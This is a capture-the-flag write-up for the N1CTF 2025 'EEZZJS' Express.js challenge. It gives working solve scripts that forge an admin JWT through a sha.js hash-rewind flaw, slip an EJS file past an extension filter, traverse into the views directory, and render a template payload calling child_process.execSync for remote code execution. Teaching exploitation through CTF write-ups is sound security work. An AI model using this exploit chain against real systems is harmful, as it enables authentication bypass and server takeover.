N1CTF 2025 - EEZZJS

This challenge was a joint solve between conflict and I.

It was an express js challenge where the aim was to get remote code execution using ejs template rendering.

There were 4 main parts:

  1. Create a valid JWT token using a SHA.JS CVE to obtain an admin account
  2. Bypass the file upload filter to upload an arbitrary ejs template
  3. Use a path traversal found in the upload function, allowing us to place our template in the views directory
  4. Trigger the template rendering using a hidden parameter to get RCE

The app contains a file upload functionnality, which is locked behind an authentication middleware.

app.post('/upload', authenticateJWT, uploadFile);

There was no way of creating our own account, and by default an admin account was initialised using a random password.

We needed to create a valid JWT token so we could be authenticated as the admin, and therefore access the upload endpoint. Our authenticateJWT middleware calls the verifyJWT function.

const verifyJWT = (token, secret = JWT_SECRET) => {
    if (typeof token !== 'string') {
        return null;
    }

    const parts = token.split('.');
    if (parts.length !== 3) {
        return null;
    }

    const [encodedHeader, encodedPayload, signature] = parts;

    let header;
    let payload;
    try {
        header = JSON.parse(fromBase64Url(encodedHeader).toString());
        payload = JSON.parse(fromBase64Url(encodedPayload).toString());
    } catch (err) {
        return null;
    }

    const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

    let providedSignature;
    let expectedSignature;
    try {
        providedSignature = Buffer.from(signature, 'hex');
        expectedSignature = Buffer.from(expectedSignatureHex, 'hex');
    } catch (err) {
        return null;
    }

    if (
        providedSignature.length !== expectedSignature.length ||
        !crypto.timingSafeEqual(providedSignature, expectedSignature)
    ) {
        return null;
    }

    if (header.alg !== 'HS256') {
        return null;
    }

    if (payload.exp && Math.floor(Date.now() / 1000) >= payload.exp) {
        return null;
    }

    return payload;
};

What interests us here is this specific line: const expectedSignatureHex = sha256(…[JSON.stringify(header), payload, secret]); which uses an outdated version of sha.js “sha.js”: “2.4.10”.

This version is vulnerable to a hash rewind attack, specifically CVE-2025-9288, which will allow us to control the output of the sha256 function:

const sha256 = (...messages) => {
    const hash = sha('sha256');
    messages.forEach((m) => hash.update(m));
    return hash.digest('hex');
};

As the payload variable being passed to this line const expectedSignatureHex = sha256(…[JSON.stringify(header), payload, secret]); is an object, we control its length as it is extracted directly from the JWT token.

We calculated that the combined length of header and secret came to 45 characters, therefore the length of our payload object needs to be -45. This way, we rewind 45 characters, essentially hashing an empty string.

This is essential because the JWT’s signature is no longer a consequence of hashing the header, payload, and secret. This allows us to provide an arbitrary payload and still have the token be considered valid, because the signature check doesn’t actually check the contents of the provided token.

Here’s our code allowing us to generate the token, which is just a modified version of the original signJWT function from the challenge.

const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET) => {
    console.log('Signing JWT with payload:', payload, 'expiresIn:', expiresIn);
    const header = { alg: 'HS256', typ: 'JWT' };
    const now = Math.floor(Date.now() / 1000);
    const body = { ...payload, length:-45,iat: now };
    if (expiresIn) {
        body.exp = now + expiresIn;
    }

    return [
        toBase64Url(JSON.stringify(header)),
        toBase64Url(JSON.stringify(body)),
        sha256(...[JSON.stringify(header), body, secret])
    ].join('.');
};

let jwt = signJWT({ username: 'admin' }, { expiresIn: 3600 });
console.log('Generated JWT:', jwt);

Once we managed to authenticate ourselves, we needed to bypass the extension check on the upload function. Our aim here is to upload an ejs template file, but this simple check stops any files being uploaded with an extension containg js.

var ext = path.extname(filename).toLowerCase();

if (/js/i.test(ext)) {
    return  res.status(403).send('Denied filename');
}
var filepath = path.join(uploadDir,filename);

As the view engine is specifically set to ejs, we can’t use the trick of uploading for example a .pug template.

app.set('view engine', 'ejs');

However there seems to be a slight quirk in the file extension check. The string that is being checked is not the same as the string that will be used for our file name. We can use this to our advantage.

The important thing that we need to take into account is that path.extname uses whatever is after the last / as the filename that it will extract the extension from. This means that a path like /tmp/test.ejs/. will have an extension of ..

The second thing that we need to take into account, is that path.join normalises any path passed to it, therefore removing any trailing dots or slashes.

We now have everything that we need. We pass a filename of payload.ejs/.. The extension given by extname is ., which does not contain js, therefore passing our check. The path.join then normalises the filename, giving us a final filename of payload.ejs.

Now that we can upload our ejs template, we need to store it in the correct directory, so that we can execute it.

The file upload function contains a simple path traversal, meaning we can simply input a relative path and place our file in the views directory.

function uploadFile(req, res) {
    var {filedata,filename}=req.body;
    var ext = path.extname(filename).toLowerCase();

    if (/js/i.test(ext)) {
        return  res.status(403).send('Denied filename');
    }
    var filepath = path.join(uploadDir,filename);

    if (fs.existsSync(filepath)) {
        return res.status(500).send('File already exists');
    }

    fs.writeFile(filepath, filedata, 'base64', (err) => {
        if (err) {
            console.log(err);
            res.status(500).send('Error saving file');
        } else {
            res.status(200).send({ message: 'File uploaded successfully', path: `/uploads/${path}` });
        }
    });
}

Our filename therefore looks like this ../views/payload.ejs/.

The challenge creators were very kind, and gave us a function allowing us to execute any template that we like:

function serveIndex(req, res) {
    var templ = req.query.templ || 'index';
    var lsPath = path.join(__dirname, req.path);
    try {
        res.render(templ, {
            filenames: fs.readdirSync(lsPath),
            path: req.path
        });
    } catch (e) {
        console.log(e);
        res.status(500).send('Error rendering page');
    }
}

We can see here that the templ parameter is directly rendered by the res.render.

We simply upload our malicious payload <%= global.process.mainModule.require(‘child_process’).execSync(‘cat /flag’).toString() %> and get our flag.

Here’s our solve script:

craft_jwt.js

const crypto = require('crypto');
const sha = require('sha.js');

const sha256 = (...messages) => {
    const hash = sha('sha256');
    messages.forEach((m) => hash.update(m));
    return hash.digest('hex');
};

const JWT_SECRET = "6c333df9949b1c4146"

const toBase64Url = (input) => {
    const buffer = Buffer.isBuffer(input) ? input : Buffer.from(input);
    return buffer
        .toString('base64')
        .replace(/\+/g, '-')
        .replace(/\//g, '_')
        .replace(/=+$/, '');
};

const fromBase64Url = (input) => {
    const paddedLength = (4 - (input.length % 4)) % 4;
    const base64 = input.replace(/-/g, '+').replace(/_/g, '/') + '='.repeat(paddedLength);
    return Buffer.from(base64, 'base64');
};

const hashPassword = (password, salt = '') => sha256(password, salt);

const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET) => {
    const header = { alg: 'HS256', typ: 'JWT' };
    const now = Math.floor(Date.now() / 1000);
    const body = { ...payload, length:-45,iat: now };
    if (expiresIn) {
        body.exp = now + expiresIn;
    }

    return [
        toBase64Url(JSON.stringify(header)),
        toBase64Url(JSON.stringify(body)),
        sha256(...[JSON.stringify(header), body, secret])
    ].join('.');
};

const verifyJWT = (token, secret = JWT_SECRET) => {
    if (typeof token !== 'string') {
        return null;
    }

    const parts = token.split('.');
    if (parts.length !== 3) {
        return null;
    }

    const [encodedHeader, encodedPayload, signature] = parts;

    let header;
    let payload;
    try {
        header = JSON.parse(fromBase64Url(encodedHeader).toString());
        payload = JSON.parse(fromBase64Url(encodedPayload).toString());
    } catch (err) {
        return null;
    }

    const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

    let providedSignature;
    let expectedSignature;
    try {
        providedSignature = Buffer.from(signature, 'hex');
        expectedSignature = Buffer.from(expectedSignatureHex, 'hex');
    } catch (err) {
        return null;
    }

    if (
        providedSignature.length !== expectedSignature.length ||
        !crypto.timingSafeEqual(providedSignature, expectedSignature)
    ) {
        return null;
    }

    if (header.alg !== 'HS256') {
        return null;
    }

    if (payload.exp && Math.floor(Date.now() / 1000) >= payload.exp) {
        return null;
    }

    return payload;
};


let jwt = signJWT({ username: 'admin' }, { expiresIn: 3600 });
console.log(jwt);

solve.go

package main

import (
	"bytes"
	"encoding/base64"
	"fmt"
	"os/exec"
	"regexp"
)

var TARGET = "http://60.205.163.215:24671"
var re = regexp.MustCompile(`(n1ctf\{[a-f0-9-]+\})`)

func main() {
	ejsTemplate := `<%= global.process.mainModule.require('child_process').execSync('cat /flag').toString() %>`

	filedata := base64.StdEncoding.EncodeToString([]byte(ejsTemplate))

	filename := "../views/flag.ejs/."

	//jwt := "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwibGVuZ3RoIjotNDUsImlhdCI6MTc2MjAxNzcyMSwiZXhwIjoxNzYyMDIxMzIxfQ.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1"
	jwt_cmd := exec.Command("node", "craft_jwt.js")
	jwt_output, _ := jwt_cmd.CombinedOutput()
	jwt := string(bytes.TrimSpace(jwt_output))

	fmt.Printf("Using JWT: %s\n", jwt)

	payload := fmt.Sprintf(`{"filename":"%s","filedata":"%s"}`, filename, filedata)

	cmd := exec.Command("curl",
		"-X", "POST",
		TARGET+"/upload",
		"-H", "Content-Type: application/json",
		"-H", fmt.Sprintf("Cookie: token=%s", jwt),
		"--data-binary", "@-",
	)

	cmd.Stdin = bytes.NewBufferString(payload)
	output, _ := cmd.CombinedOutput()

	if !bytes.Contains(output, []byte("Denied")) {
		fmt.Printf("upload done\n")
	} else {
		fmt.Printf("failed")
	}

	cmd = exec.Command("curl",
		TARGET+"/?templ=flag.ejs",
	)
	output, _ = cmd.CombinedOutput()

	matches := re.FindAllStringSubmatch(string(output), -1)

	for _, match := range matches {
		fmt.Printf("Flag: %s\n", match[1])
	}
}